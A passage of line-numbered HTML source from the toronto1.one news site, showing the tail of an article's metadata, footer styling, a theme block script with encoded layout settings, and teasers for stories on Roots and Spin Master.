1106                    <span class="td-page-meta" itemprop="author" itemscope itemtype="https://schema.org/Person"><meta itemprop="name" content="Amara Singh"><meta itemprop="url" content="https://toronto1.one/en/author/amara-singh"></span><meta itemprop="dateModified" content="2024-08-26T06:42:14-04:00"><meta itemprop="dateModified" content="2024-12-03T09:51:13-05:00"><meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://toronto1.one/en/eternal/what-were-torontos-first-newspapers-about-3775"/><span class="td-page-meta" itemprop="publisher" itemscope itemtype="https://schema.org/Organization"><span class="td-page-meta" itemprop="logo" itemscope itemtype="https://schema.org/ImageObject"><meta itemprop="url" content="/wp-content/uploads/sites/35/2022/05/logo-one-toronto.png"></span><meta itemprop="name" content="toronto1.one"></span><meta itemprop="headline" content="What Were Toronto’s First Newspapers About?"><span class="td-page-meta" itemprop="image" itemscope itemtype="https://schema.org/ImageObject"><meta itemprop="url" content="https://toronto1.one/wp-content/plugins/td-cloud-library/assets/images/td_meta_replacement.png"><meta itemprop="width" content="1068"><meta itemprop="height" content="580"></span>                </article>
1107            </div>
1108        </div>
1109        
1110    </div> <!-- #tdb-autoload-article -->
1111
1112    <div class="td-footer-template-wrap" style="position: relative">
1113                <div class="td-footer-wrap ">
1114            <div id="tdi_91" class="tdc-zone"><div class="tdc_zone tdi_92  wpb_row td-pb-row"  >
1115<style scoped>.tdi_92{min-height:0}</style><div id="tdi_93" class="tdc-row stretch_row_1800 td-stretch-content"><div class="vc_row tdi_94  wpb_row td-pb-row tdc-element-style" >
1116<style scoped>.tdi_94,.tdi_94 .tdc-columns{min-height:0}.tdi_94,.tdi_94 .tdc-columns{display:block}.tdi_94 .tdc-columns{width:100%}.tdi_94:before,.tdi_94:after{display:table}.tdi_94{margin-top:-3px!important;position:relative}.tdi_94 .td_block_wrap{text-align:left}</style>
1117<div class="tdi_93_rand_style td-element-style" ><style>.tdi_93_rand_style{background-color:#f2f3f4!important}</style></div><div class="vc_column tdi_96  wpb_column vc_column_container tdc-column td-pb-span12">
1118<style scoped>.tdi_96{vertical-align:baseline}.tdi_96>.wpb_wrapper,.tdi_96>.wpb_wrapper>.tdc-elements{display:block}.tdi_96>.wpb_wrapper>.tdc-elements{width:100%}.tdi_96>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_96>.wpb_wrapper{width:auto;height:auto}</style><div class="wpb_wrapper" ><div class="vc_row_inner tdi_98  vc_row vc_inner wpb_row td-pb-row tdc-row-content-vert-bottom" >
1119<style scoped>.tdi_98{position:relative!important;top:0;transform:none;-webkit-transform:none}.tdi_98,.tdi_98 .tdc-inner-columns{display:block}.tdi_98 .tdc-inner-columns{width:100%}@media (min-width:768px){.tdi_98{margin-left:-10px;margin-right:-10px}.tdi_98>.vc_column_inner,.tdi_98>.tdc-inner-columns>.vc_column_inner{padding-left:10px;padding-right:10px}}@media (min-width:767px){.tdi_98.tdc-row-content-vert-center,.tdi_98.tdc-row-content-vert-center .tdc-inner-columns{display:flex;align-items:center;flex:1}.tdi_98.tdc-row-content-vert-bottom,.tdi_98.tdc-row-content-vert-bottom .tdc-inner-columns{display:flex;align-items:flex-end;flex:1}.tdi_98.tdc-row-content-vert-center .td_block_wrap{vertical-align:middle}.tdi_98.tdc-row-content-vert-bottom .td_block_wrap{vertical-align:bottom}}@media (min-width:1019px) and (max-width:1140px){@media (min-width:768px){.tdi_98{margin-left:-5px;margin-right:-5px}.tdi_98>.vc_column_inner,.tdi_98>.tdc-inner-columns>.vc_column_inner{padding-left:5px;padding-right:5px}}}@media (min-width:768px) and (max-width:1018px){@media (min-width:768px){.tdi_98{margin-left:-5px;margin-right:-5px}.tdi_98>.vc_column_inner,.tdi_98>.tdc-inner-columns>.vc_column_inner{padding-left:5px;padding-right:5px}}}@media (max-width:767px){@media (min-width:768px){.tdi_98{margin-left:-0px;margin-right:-0px}.tdi_98>.vc_column_inner,.tdi_98>.tdc-inner-columns>.vc_column_inner{padding-left:0px;padding-right:0px}}}.tdi_98{padding-top:100px!important;padding-right:100px!important;padding-bottom:100px!important;padding-left:100px!important;position:relative}.tdi_98 .td_block_wrap{text-align:left}@media (min-width:1019px) and (max-width:1140px){.tdi_98{padding-top:50px!important;padding-right:40px!important;padding-bottom:50px!important;padding-left:40px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_98{padding-top:15px!important;padding-right:10px!important;padding-bottom:40px!important;padding-left:10px!important}}@media (max-width:767px){.tdi_98{padding-top:20px!important;padding-right:0px!important;padding-bottom:40px!important;padding-left:0px!important;width:100%!important}}</style>
1120<div class="tdi_97_rand_style td-element-style" ><style>.tdi_97_rand_style{background-color:#ffffff!important}</style></div><div class="vc_column_inner tdi_100  wpb_column vc_column_container tdc-inner-column td-pb-span12">
1121<style scoped>.tdi_100{vertical-align:baseline}.tdi_100 .vc_column-inner>.wpb_wrapper,.tdi_100 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_100 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}</style><div class="vc_column-inner"><div class="wpb_wrapper" ></div></div></div></div><div class="vc_row_inner tdi_102  vc_row vc_inner wpb_row td-pb-row" >
1122<style scoped>.tdi_102{position:relative!important;top:0;transform:none;-webkit-transform:none}.tdi_102,.tdi_102 .tdc-inner-columns{display:block}.tdi_102 .tdc-inner-columns{width:100%}@media (min-width:768px){.tdi_102{margin-left:-10px;margin-right:-10px}.tdi_102>.vc_column_inner,.tdi_102>.tdc-inner-columns>.vc_column_inner{padding-left:10px;padding-right:10px}}@media (min-width:1019px) and (max-width:1140px){@media (min-width:768px){.tdi_102{margin-left:-5px;margin-right:-5px}.tdi_102>.vc_column_inner,.tdi_102>.tdc-inner-columns>.vc_column_inner{padding-left:5px;padding-right:5px}}}@media (min-width:768px) and (max-width:1018px){@media (min-width:768px){.tdi_102{margin-left:-5px;margin-right:-5px}.tdi_102>.vc_column_inner,.tdi_102>.tdc-inner-columns>.vc_column_inner{padding-left:5px;padding-right:5px}}}@media (max-width:767px){@media (min-width:768px){.tdi_102{margin-left:-0px;margin-right:-0px}.tdi_102>.vc_column_inner,.tdi_102>.tdc-inner-columns>.vc_column_inner{padding-left:0px;padding-right:0px}}}.tdi_102{padding-right:100px!important;padding-bottom:90px!important;padding-left:100px!important;position:relative}.tdi_102 .td_block_wrap{text-align:left}@media (min-width:1019px) and (max-width:1140px){.tdi_102{padding-right:40px!important;padding-bottom:50px!important;padding-left:40px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_102{padding-right:10px!important;padding-bottom:30px!important;padding-left:10px!important}}@media (max-width:767px){.tdi_102{padding-right:0px!important;padding-bottom:20px!important;padding-left:0px!important;width:100%!important}}</style>
1123<div class="tdi_101_rand_style td-element-style" ><style>.tdi_101_rand_style{background-color:#ffffff!important}</style></div><div class="vc_column_inner tdi_104  wpb_column vc_column_container tdc-inner-column td-pb-span3">
1124<style scoped>.tdi_104{vertical-align:baseline}.tdi_104 .vc_column-inner>.wpb_wrapper,.tdi_104 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_104 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}.tdi_104{padding-right:60px!important;width:28%!important}@media (min-width:1019px) and (max-width:1140px){.tdi_104{padding-right:20px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_104{padding-right:5px!important}}@media (max-width:767px){.tdi_104{margin-bottom:30px!important;padding-right:0px!important;width:100%!important}}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_105 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_105" >
1125<style>.tdi_105 .tdb-logo-a,.tdi_105 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_105 .tdb-logo-svg-wrap{display:block}.tdi_105 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_105 .tdb-logo-img-wrap{display:block}.tdi_105 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_105 .tdb-logo-text-title{display:block}.tdi_105 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_105 .tdb-logo-icon{top:0px;display:block}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://toronto1.one/en"><span class="tdb-logo-img-wrap"><img class="tdb-logo-img td-retina-data" data-retina="/wp-content/uploads/sites/35/2022/05/logo-one-toronto.png" src="/wp-content/uploads/sites/35/2022/05/logo-one-toronto.png" alt="Logo"  title=""  /></span></a></div></div> <!-- ./block --><div class="td_block_wrap td_block_list_menu tdi_106 td-blm-display-vertical td-pb-border-top td_block_template_1 widget"  data-td-block-uid="tdi_106" >
1126<style>.tdi_106{margin-bottom:0px!important}@media (min-width:768px) and (max-width:1018px){.tdi_106{margin-top:-4px!important}}</style>
1127<style>.td_block_list_menu ul{flex-wrap:wrap;margin-left:12px}.td_block_list_menu ul li{margin-left:0}.td_block_list_menu ul li a{display:flex;margin-left:0}.td_block_list_menu .td-blm-menu-item-txt{display:flex;align-items:center;flex-grow:1}.td_block_list_menu .sub-menu{padding-left:22px}.td_block_list_menu .sub-menu li{font-size:13px}.td_block_list_menu li.current-menu-item>a,.td_block_list_menu li.current-menu-ancestor>a,.td_block_list_menu li.current-category-ancestor>a,.td_block_list_menu li.current-page-ancestor>a{color:var(--td_theme_color,#4db2ec)}.td_block_list_menu .td-blm-sub-icon{display:flex;align-items:center;justify-content:center;margin-left:.6em;padding:0 .6em;transition:transform .2s ease-in-out}.td_block_list_menu .td-blm-sub-icon svg{display:block;width:1em;height:auto}.td_block_list_menu .td-blm-sub-icon svg,.td_block_list_menu .td-blm-sub-icon svg *{fill:currentColor}.td_block_list_menu.td-blm-display-accordion .menu-item-has-children ul{display:none}.td_block_list_menu.td-blm-display-accordion .menu-item-has-children-open>a>.td-blm-sub-icon{transform:rotate(180deg)}.td_block_list_menu.td-blm-display-horizontal ul{display:flex}body .tdi_106 ul{text-align:center;justify-content:center;margin:0px}body .tdi_106 ul li a{justify-content:center}body .tdi_106 .td-blm-menu-item-txt{flex-grow:unset}body .tdi_106 a,body .tdi_106 .td-blm-sub-icon{color:#90a0af}body .tdi_106 li.current-menu-item>a,body .tdi_106 li.current-menu-ancestor>a,body .tdi_106 li.current-category-ancestor>a,body .tdi_106 li.current-page-ancestor>a,body .tdi_106 a:hover,body .tdi_106 li.current-menu-item>a>.td-blm-sub-icon,body .tdi_106 li.current-menu-ancestor>a>.td-blm-sub-icon,body .tdi_106 li.current-category-ancestor>a>.td-blm-sub-icon,body .tdi_106 li.current-page-ancestor>a>.td-blm-sub-icon,body .tdi_106 a:hover>.td-blm-sub-icon{color:#172842}body .tdi_106 li{font-family:Montserrat!important;font-size:14px!important;font-weight:700!important;letter-spacing:1px!important}@media (min-width:1019px) and (max-width:1140px){body .tdi_106 li{font-size:13px!important;line-height:2.2!important}}@media (min-width:768px) and (max-width:1018px){body .tdi_106 li{font-size:12px!important;line-height:2!important}}@media (max-width:767px){body .tdi_106 li{font-size:12px!important}}</style><div class="td-block-title-wrap"></div><div id=tdi_106 class="td_block_inner td-fix-index"><div class="menu-reklama-en-container"><ul id="menu-reklama-en" class="menu"><li id="menu-item-1692" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1692">
1127<a href="https://toronto1.one/en/authors"><span class="td-blm-menu-item-txt">Authors</span></a></li>
1128<li id="menu-item-1691" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1691"><a href="https://toronto1.one/en/advertising"><span class="td-blm-menu-item-txt">Advertising on the site</span></a></li>
1129</ul></div></div></div></div></div></div><div class="vc_column_inner tdi_108  wpb_column vc_column_container tdc-inner-column td-pb-span3">
1130<style scoped>.tdi_108{vertical-align:baseline}.tdi_108 .vc_column-inner>.wpb_wrapper,.tdi_108 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_108 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}.tdi_108{width:27%!important}@media (max-width:767px){.tdi_108{margin-bottom:30px!important;width:100%!important}}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="td_block_wrap td_flex_block_1 tdi_109 td-pb-border-top td_block_template_1 td_flex_block"  data-td-block-uid="tdi_109" >
1131<style>.tdi_109{margin-bottom:0px!important}</style>
1132<style>.tdi_109 .td-image-wrap{padding-bottom:70%}.tdi_109 .entry-thumb{background-position:center 50%}.tdi_109 .td-image-container{flex:0 0 30%;width:30%;display:block;order:0}.ie10 .tdi_109 .td-image-container,.ie11 .tdi_109 .td-image-container{flex:0 0 auto}.tdi_109 .td-module-container{flex-direction:row;border-color:#eaeaea!important}.ie10 .tdi_109 .td-module-meta-info,.ie11 .tdi_109 .td-module-meta-info{flex:1}body .tdi_109 .td-favorite{font-size:36px;box-shadow:1px 1px 4px 0px rgba(0,0,0,0.2)}.tdi_109 .td-module-meta-info{padding:5px 0 0 15px;border-color:#eaeaea}.tdi_109 .td_module_wrap{padding-left:20px;padding-right:20px;padding-bottom:10px;margin-bottom:10px}.tdi_109 .td_block_inner{margin-left:-20px;margin-right:-20px}.tdi_109 .td-module-container:before{bottom:-10px;border-color:#eaeaea}.tdi_109 .td-post-vid-time{display:block}.tdi_109 .td-post-category:not(.td-post-extra-category){display:none}.tdi_109 .td-author-photo .avatar{width:20px;height:20px;margin-right:6px;border-radius:50%}.tdi_109 .td-excerpt{display:none;margin:15px 0 0 0;column-count:1;column-gap:48px}.tdi_109 .td-audio-player{opacity:1;visibility:visible;height:auto;font-size:13px}.tdi_109 .td-read-more{display:none}.tdi_109 .td-author-date{display:none}.tdi_109 .td-post-author-name{display:none}.tdi_109 .td-post-date,.tdi_109 .td-post-author-name span{display:none}.tdi_109 .entry-review-stars{display:none}.tdi_109 .td-icon-star,.tdi_109 .td-icon-star-empty,.tdi_109 .td-icon-star-half{font-size:15px}.tdi_109 .td-module-comments{display:none}.tdi_109 .td_module_wrap:nth-last-child(1){margin-bottom:0;padding-bottom:0}.tdi_109 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none}.tdi_109 .td-module-title a{color:#172842;box-shadow:inset 0 0 0 0 #000}.tdi_109 .td_module_wrap:hover .td-module-title a{color:#e2687e!important}.tdi_109 .td-post-author-name a{color:#90a0af}.tdi_109 .td-post-author-name:hover a{color:#e2687e}.tdi_109 .entry-title{margin:0 0 10px 0;font-family:Montserrat!important;font-size:15px!important;line-height:1.2!important;font-weight:700!important}.tdi_109 .td-editor-date,.tdi_109 .td-editor-date .td-post-author-name a,.tdi_109 .td-editor-date .entry-date,.tdi_109 .td-module-comments a{font-family:Montserrat!important;font-size:13px!important;font-weight:700!important;text-transform:uppercase!important}html:not([class*='ie']) .tdi_109 .td-module-container:hover .entry-thumb:before{opacity:0}@media (min-width:768px){.tdi_109 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}@media (min-width:1019px) and (max-width:1140px){.tdi_109 .td-image-wrap{padding-bottom:80%}.tdi_109 .td_module_wrap{padding-bottom:7.5px;margin-bottom:7.5px;padding-bottom:7.5px!important;margin-bottom:7.5px!important}.tdi_109 .td-module-container:before{bottom:-7.5px}.tdi_109 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_109 .td_module_wrap .td-module-container:before{display:block!important}.tdi_109 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_109 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_109 .entry-title{font-size:12px!important}@media (min-width:768px){.tdi_109 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}@media (min-width:768px) and (max-width:1018px){.tdi_109 .td-image-wrap{padding-bottom:100%}.tdi_109 .td-module-meta-info{padding:0 0 0 10px}.tdi_109 .td_module_wrap{padding-bottom:5px;margin-bottom:5px;padding-bottom:5px!important;margin-bottom:5px!important}.tdi_109 .td-module-container:before{bottom:-5px}.tdi_109 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_109 .td_module_wrap .td-module-container:before{display:block!important}.tdi_109 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_109 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_109 .entry-title{font-size:11px!important}.tdi_109 .td-editor-date,.tdi_109 .td-editor-date .td-post-author-name a,.tdi_109 .td-editor-date .entry-date,.tdi_109 .td-module-comments a{font-size:10px!important}@media (min-width:768px){.tdi_109 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}@media (max-width:767px){.tdi_109 .td-image-wrap{padding-bottom:100%}.tdi_109 .td_module_wrap{padding-bottom:10px;margin-bottom:10px;padding-bottom:10px!important;margin-bottom:10px!important}.tdi_109 .td-module-container:before{bottom:-10px}.tdi_109 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_109 .td_module_wrap .td-module-container:before{display:block!important}.tdi_109 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_109 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_109 .td-editor-date,.tdi_109 .td-editor-date .td-post-author-name a,.tdi_109 .td-editor-date .entry-date,.tdi_109 .td-module-comments a{font-size:12px!important}@media (min-width:768px){.tdi_109 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}</style>
1132<script>var block_tdi_109 = new tdBlock();
1133block_tdi_109.id = "tdi_109";
1134block_tdi_109.atts = '{"image_size":"","image_floated":"float_left","image_width":"30","image_height":"eyJhbGwiOiI3MCIsInBvcnRyYWl0IjoiMTAwIiwicGhvbmUiOiIxMDAiLCJsYW5kc2NhcGUiOiI4MCJ9","show_btn":"none","show_excerpt":"eyJwb3J0cmFpdCI6Im5vbmUiLCJwaG9uZSI6Im5vbmUiLCJhbGwiOiJub25lIn0=","show_com":"eyJwb3J0cmFpdCI6Im5vbmUiLCJhbGwiOiJub25lIn0=","show_author":"eyJwb3J0cmFpdCI6Im5vbmUiLCJsYW5kc2NhcGUiOiJub25lIiwiYWxsIjoibm9uZSJ9","show_cat":"none","meta_padding":"eyJhbGwiOiI1cHggMCAwIDE1cHgiLCJwb3J0cmFpdCI6IjAgMCAwIDEwcHgifQ==","f_title_font_size":"eyJhbGwiOiIxNSIsInBvcnRyYWl0IjoiMTEiLCJsYW5kc2NhcGUiOiIxMiJ9","f_title_font_line_height":"1.2","f_title_font_weight":"700","all_modules_space":"eyJhbGwiOiIyMCIsInBvcnRyYWl0IjoiMTAiLCJsYW5kc2NhcGUiOiIxNSJ9","show_date":"eyJwb3J0cmFpdCI6Im5vbmUiLCJsYW5kc2NhcGUiOiJub25lIiwiYWxsIjoibm9uZSJ9","art_excerpt":"15px 0 0 0","f_title_font_family":"394","f_meta_font_family":"394","f_meta_font_transform":"uppercase","f_meta_font_weight":"700","art_title":"0 0 10px 0","tdc_css":"eyJwb3J0cmFpdCI6eyJkaXNwbGF5IjoiIn0sInBvcnRyYWl0X21heF93aWR0aCI6MTAxOCwicG9ydHJhaXRfbWluX3dpZHRoIjo3NjgsImFsbCI6eyJtYXJnaW4tYm90dG9tIjoiMCIsImRpc3BsYXkiOiIifSwicGhvbmUiOnsiZGlzcGxheSI6IiJ9LCJwaG9uZV9tYXhfd2lkdGgiOjc2NywibGFuZHNjYXBlIjp7ImRpc3BsYXkiOiIifSwibGFuZHNjYXBlX21heF93aWR0aCI6MTE0MCwibGFuZHNjYXBlX21pbl93aWR0aCI6MTAxOX0=","h_effect":"","category_id":"","modules_on_row":"","title_txt_hover":"#e2687e","sort":"","limit":"2","f_meta_font_size":"eyJhbGwiOiIxMyIsInBvcnRyYWl0IjoiMTAiLCJwaG9uZSI6IjEyIn0=","show_review":"none","title_txt":"#172842","author_txt":"#90a0af","author_txt_hover":"#e2687e","block_type":"td_flex_block_1","separator":"","custom_title":"","custom_url":"","block_template_id":"","title_tag":"","mc1_tl":"","mc1_title_tag":"","mc1_el":"","post_ids":"-3775","taxonomies":"","category_ids":"","in_all_terms":"","tag_slug":"","autors_id":"","installed_post_types":"","include_cf_posts":"","exclude_cf_posts":"","popular_by_date":"","linked_posts":"","favourite_only":"","offset":"","open_in_new_window":"","show_modified_date":"","time_ago":"","time_ago_add_txt":"ago","time_ago_txt_pos":"","review_source":"","el_class":"","td_query_cache":"","td_query_cache_expiration":"","td_ajax_filter_type":"","td_ajax_filter_ids":"","td_filter_default_txt":"All","td_ajax_preloading":"","container_width":"","modules_gap":"","m_padding":"","modules_border_size":"","modules_border_style":"","modules_border_color":"#eaeaea","modules_border_radius":"","modules_divider":"","modules_divider_color":"#eaeaea","image_alignment":"50","image_radius":"","hide_image":"","show_favourites":"","fav_size":"2","fav_space":"","fav_ico_color":"","fav_ico_color_h":"","fav_bg":"","fav_bg_h":"","fav_shadow_shadow_header":"","fav_shadow_shadow_title":"Shadow","fav_shadow_shadow_size":"","fav_shadow_shadow_offset_horizontal":"","fav_shadow_shadow_offset_vertical":"","fav_shadow_shadow_spread":"","fav_shadow_shadow_color":"","video_icon":"","video_popup":"yes","video_rec":"","spot_header":"","video_rec_title":"","video_rec_color":"","video_rec_disable":"","autoplay_vid":"yes","show_vid_t":"block","vid_t_margin":"","vid_t_padding":"","video_title_color":"","video_title_color_h":"","video_bg":"","video_overlay":"","vid_t_color":"","vid_t_bg_color":"","f_vid_title_font_header":"","f_vid_title_font_title":"Video pop-up article title","f_vid_title_font_settings":"","f_vid_title_font_family":"","f_vid_title_font_size":"","f_vid_title_font_line_height":"","f_vid_title_font_style":"","f_vid_title_font_weight":"","f_vid_title_font_transform":"","f_vid_title_font_spacing":"","f_vid_title_":"","f_vid_time_font_title":"Video duration text","f_vid_time_font_settings":"","f_vid_time_font_family":"","f_vid_time_font_size":"","f_vid_time_font_line_height":"","f_vid_time_font_style":"","f_vid_time_font_weight":"","f_vid_time_font_transform":"","f_vid_time_font_spacing":"","f_vid_time_":"","meta_info_align":"","meta_info_horiz":"layout-default","meta_width":"","meta_margin":"","meta_space":"","art_btn":"","meta_info_border_size":"","meta_info_border_style":"","meta_info_border_color":"#eaeaea","meta_info_border_radius":"","modules_category":"","modules_category_margin":"","modules_category_padding":"","modules_cat_border":"","modules_category_radius":"0","modules_extra_cat":"","author_photo":"","author_photo_size":"","author_photo_space":"","author_photo_radius":"","review_space":"","review_size":"2.5","review_distance":"","excerpt_col":"1","excerpt_gap":"","excerpt_middle":"","excerpt_inline":"","show_audio":"block","hide_audio":"","art_audio":"","art_audio_size":"1.5","btn_title":"","btn_margin":"","btn_padding":"","btn_border_width":"","btn_radiu
1134s":"","pag_space":"","pag_padding":"","pag_border_width":"","pag_border_radius":"","prev_tdicon":"","next_tdicon":"","pag_icons_size":"","f_header_font_header":"","f_header_font_title":"Block header","f_header_font_settings":"","f_header_font_family":"","f_header_font_size":"","f_header_font_line_height":"","f_header_font_style":"","f_header_font_weight":"","f_header_font_transform":"","f_header_font_spacing":"","f_header_":"","f_ajax_font_title":"Ajax categories","f_ajax_font_settings":"","f_ajax_font_family":"","f_ajax_font_size":"","f_ajax_font_line_height":"","f_ajax_font_style":"","f_ajax_font_weight":"","f_ajax_font_transform":"","f_ajax_font_spacing":"","f_ajax_":"","f_more_font_title":"Load more button","f_more_font_settings":"","f_more_font_family":"","f_more_font_size":"","f_more_font_line_height":"","f_more_font_style":"","f_more_font_weight":"","f_more_font_transform":"","f_more_font_spacing":"","f_more_":"","f_title_font_header":"","f_title_font_title":"Article title","f_title_font_settings":"","f_title_font_style":"","f_title_font_transform":"","f_title_font_spacing":"","f_title_":"","f_cat_font_title":"Article category tag","f_cat_font_settings":"","f_cat_font_family":"","f_cat_font_size":"","f_cat_font_line_height":"","f_cat_font_style":"","f_cat_font_weight":"","f_cat_font_transform":"","f_cat_font_spacing":"","f_cat_":"","f_meta_font_title":"Article meta info","f_meta_font_settings":"","f_meta_font_line_height":"","f_meta_font_style":"","f_meta_font_spacing":"","f_meta_":"","f_ex_font_title":"Article excerpt","f_ex_font_settings":"","f_ex_font_family":"","f_ex_font_size":"","f_ex_font_line_height":"","f_ex_font_style":"","f_ex_font_weight":"","f_ex_font_transform":"","f_ex_font_spacing":"","f_ex_":"","f_btn_font_title":"Article read more button","f_btn_font_settings":"","f_btn_font_family":"","f_btn_font_size":"","f_btn_font_line_height":"","f_btn_font_style":"","f_btn_font_weight":"","f_btn_font_transform":"","f_btn_font_spacing":"","f_btn_":"","mix_color":"","mix_type":"","fe_brightness":"1","fe_contrast":"1","fe_saturate":"1","mix_color_h":"","mix_type_h":"","fe_brightness_h":"1","fe_contrast_h":"1","fe_saturate_h":"1","m_bg":"","color_overlay":"","shadow_shadow_header":"","shadow_shadow_title":"Module Shadow","shadow_shadow_size":"","shadow_shadow_offset_horizontal":"","shadow_shadow_offset_vertical":"","shadow_shadow_spread":"","shadow_shadow_color":"","all_underline_height":"","all_underline_color":"","cat_bg":"","cat_bg_hover":"","cat_txt":"","cat_txt_hover":"","cat_border":"","cat_border_hover":"","meta_bg":"","date_txt":"","ex_txt":"","com_bg":"","com_txt":"","rev_txt":"","audio_btn_color":"","audio_time_color":"","audio_bar_color":"","audio_bar_curr_color":"","shadow_m_shadow_header":"","shadow_m_shadow_title":"Meta info shadow","shadow_m_shadow_size":"","shadow_m_shadow_offset_horizontal":"","shadow_m_shadow_offset_vertical":"","shadow_m_shadow_spread":"","shadow_m_shadow_color":"","btn_bg":"","btn_bg_hover":"","btn_txt":"","btn_txt_hover":"","btn_border":"","btn_border_hover":"","pag_text":"","pag_h_text":"","pag_bg":"","pag_h_bg":"","pag_border":"","pag_h_border":"","ajax_pagination":"","ajax_pagination_next_prev_swipe":"","ajax_pagination_infinite_stop":"","css":"","td_column_number":1,"header_color":"","color_preset":"","border_top":"","class":"tdi_109","tdc_css_class":"tdi_109","tdc_css_class_
1134style":"tdi_109_rand_style"}';
1135block_tdi_109.td_column_number = "1";
1136block_tdi_109.block_type = "td_flex_block_1";
1137block_tdi_109.post_count = "2";
1138block_tdi_109.found_posts = "102";
1139block_tdi_109.header_color = "";
1140block_tdi_109.ajax_pagination_infinite_stop = "";
1141block_tdi_109.max_num_pages = "51";
1142tdBlocksArray.push(block_tdi_109);
1143</script>
1143<div class="td-block-title-wrap"></div><div id=tdi_109 class="td_block_inner td-mc1-wrap">
1144        <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post">
1145            <div class="td-module-container td-category-pos-">
1146                                    <div class="td-image-container">
1147                                                <div class="td-module-thumb"><a href="https://toronto1.one/en/eternal/the-roots-success-story-how-a-love-for-the-canadian-wilderness-built-the-nations-most-iconic-brand-6661"  rel="bookmark" class="td-image-wrap " title="The Roots Success Story: How a Love for the Canadian Wilderness Built the Nation&#8217;s Most Iconic Brand" ><span class="entry-thumb td-thumb-css td-animation-stack-type0-2" data-type="css_image" data-img-url="https://cdn.toronto1.one/wp-content/uploads/sites/35/2026/05/znimok-ekrana-2026-05-21-o-00.35.11-696x451.png"   style="background-image:url('https://cdn.toronto1.one/wp-content/uploads/sites/35/2026/05/znimok-ekrana-2026-05-21-o-00.35.11-696x451.png');opacity:1;background-size:cover;background-position:center center"></span></a></div>                                                                    </div>
1148                
1149                <div class="td-module-meta-info">
1150                                        
1151                    <h3 class="entry-title td-module-title"><a href="https://toronto1.one/en/eternal/the-roots-success-story-how-a-love-for-the-canadian-wilderness-built-the-nations-most-iconic-brand-6661"  rel="bookmark" title="The Roots Success Story: How a Love for the Canadian Wilderness Built the Nation&#8217;s Most Iconic Brand">The Roots Success Story: How a Love for the Canadian Wilderness Built the Nation&#8217;s Most Iconic Brand</a></h3>
1152                    
1153                                            <div class="td-editor-date">
1154                                                        
1155                                                            <span class="td-author-date">
1156                                                                        <span class="td-post-author-name"><a href="https://toronto1.one/en/author/harry-taylor">Harry Taylor</a> <span>-</span> </span>                                    <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2026-05-20T17:45:10-04:00" >20.05.2026</time></span>                                                                                                        </span>
1157                                                    </div>
1158                    
1159                    <div class="td-excerpt">
1160In the fashion world, few brands can boast about becoming part of a country&#039;s national DNA. But in Canada, Roots isn&#039;t just a retail...</div>
1161                    
1162                                    </div>
1163            </div>
1164        </div>
1165
1166        
1167        <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post">
1168            <div class="td-module-container td-category-pos-">
1169                                    <div class="td-image-container">
1170                                                <div class="td-module-thumb"><a href="https://toronto1.one/en/eternal/the-spin-master-success-story-how-three-friends-turned-a-sawdust-toy-into-a-billion-dollar-paw-patrol-empire-6627"  rel="bookmark" class="td-image-wrap " title="The Spin Master Success Story: How Three Friends Turned a Sawdust Toy into a Billion-Dollar &#8220;PAW Patrol&#8221; Empire" ><span class="entry-thumb td-thumb-css td-animation-stack-type0-2" data-type="css_image" data-img-url="https://cdn.toronto1.one/wp-content/uploads/sites/35/2026/05/znimok-ekrana-2026-05-19-o-14.04.01-696x521.png"   style="background-image:url('https://cdn.toronto1.one/wp-content/uploads/sites/35/2026/05/znimok-ekrana-2026-05-19-o-14.04.01-696x521.png');opacity:1;background-size:cover;background-position:center center"></span></a></div>                                                                    </div>
1171                
1172                <div class="td-module-meta-info">
1173                                        
1174                    <h3 class="entry-title td-module-title">
1174<a href="https://toronto1.one/en/eternal/the-spin-master-success-story-how-three-friends-turned-a-sawdust-toy-into-a-billion-dollar-paw-patrol-empire-6627"  rel="bookmark" title="The Spin Master Success Story: How Three Friends Turned a Sawdust Toy into a Billion-Dollar &#8220;PAW Patrol&#8221; Empire">The Spin Master Success Story: How Three Friends Turned a Sawdust Toy into a Billion-Dollar &#8220;PAW Patrol&#8221; Empire</a></h3>
1175                    
1176                                            <div class="td-editor-date">
1177                                                        
